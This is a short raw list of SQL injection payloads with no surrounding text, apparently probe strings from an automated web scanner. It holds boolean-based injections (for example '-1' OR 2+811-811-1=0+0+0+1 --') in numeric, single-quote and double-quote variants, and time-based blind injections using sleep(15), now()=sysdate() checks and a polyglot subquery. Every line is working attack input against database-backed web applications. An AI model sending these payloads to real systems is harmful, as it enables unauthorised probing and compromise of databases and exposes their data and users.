1

-1 OR 2+772-772-1=0+0+0+1 --

-1 OR 2+47-47-1=0+0+0+1

-1' OR 2+811-811-1=0+0+0+1 --

-1' OR 2+280-280-1=0+0+0+1 or 'FgFao9RH'='

-1" OR 2+436-436-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/